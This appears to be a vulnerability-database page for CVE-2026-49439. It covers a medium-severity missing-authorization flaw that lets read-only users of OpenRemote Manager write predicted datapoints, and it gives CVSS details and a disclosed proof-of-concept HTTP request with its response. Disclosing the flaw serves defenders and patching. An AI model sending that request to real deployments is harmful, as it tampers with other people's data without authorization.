What is the CVSS score of CVE-2026-49439?

CVE-2026-49439 has a CVSS 3.1 base score of 4.3 (Medium). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N. EPSS exploitation probability: 0.2%.

Is there a public PoC exploit available for CVE-2026-49439?

Yes, a public proof-of-concept exploit is available for CVE-2026-49439. Prioritise patching immediately. EPSS: 0.2%.

Is there a patch available for CVE-2026-49439?

Yes, a patch is available for CVE-2026-49439. Update the affected software to the latest version immediately.

Java CVE-2026-49439

EUVD-2026-76694 MEDIUM

Missing Authorization (CWE-862)

2026-07-06 https://github.com/openremote/openremote

GHSA-xj53-j257-hxvg

Authentication Bypass Java

4.3

CVSS 3.1 · Vendor: https://github.com/openremote/openremote

Severity by source

Vendor (https://github.com/openremote/openremote) PRIMARY

4.3 MEDIUM

AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

vuln.today AI

4.3 MEDIUM

Network REST endpoint requires only a valid read:assets session (PR:L, AC:L); write impact limited to predicted datapoints with no confidentiality or availability consequence.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/openremote/openremote).

CVSS VectorVendor: https://github.com/openremote/openremote

Attack Vector

Network

Attack Complexity

Low

Privileges Required

Low

User Interaction

None

Scope

Unchanged

Confidentiality

None

Integrity

Low

Availability

None

Lifecycle Timeline

Source Code Evidence Fetched

Jul 27, 2026 - 10:47 vuln.today

Analysis Generated

Jul 06, 2026 - 17:17 vuln.today

CVE Published

Jul 06, 2026 - 16:52 github-advisory

MEDIUM 4.3

Blast Radius

ecosystem impact

† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth

5 maven packages depend on io.openremote:openremote-manager (5 direct, 0 indirect)

Ecosystem-wide dependent count for version 1.24.1.

DescriptionCVE.org

Summary

The predicted datapoint write endpoint allows users with only read:assets privileges to write predicted datapoints.

The endpoint:

text

PUT /api/{realm}/asset/predicted/{assetId}/{attributeName}

accepts write requests from users lacking write:assets.

The implementation appears to check READ_ASSETS while performing a write operation through:

java

assetPredictedDatapointService.updateValues(...)

PoC

A user was created with only:

text

read:assets

and without write:assets.

The following request succeeded:

http

PUT /api/master/asset/predicted/4Fr8Pcp7iDjrEmoSUFolvT/temperature

Request body:

json

[{"x":1779199999001,"y":1337}]

Response:

text

HTTP/2 204

Database verification confirmed the datapoint was written successfully:

text

entity_id: 4Fr8Pcp7iDjrEmoSUFolvT
attribute_name: temperature
value: 1337

Impact

Users with read-only asset permissions can modify predicted datapoints for assets.

AnalysisAI

Data tampering in OpenRemote Manager before 1.24.1 allows authenticated users with only read:assets privileges to write predicted datapoints via the REST API. A missing authorization check on the predicted datapoint write endpoint permits low-privilege users to modify forecasted data, potentially corrupting analytical models or operations. Proof-of-concept code is publicly available, but no active exploitation has been observed.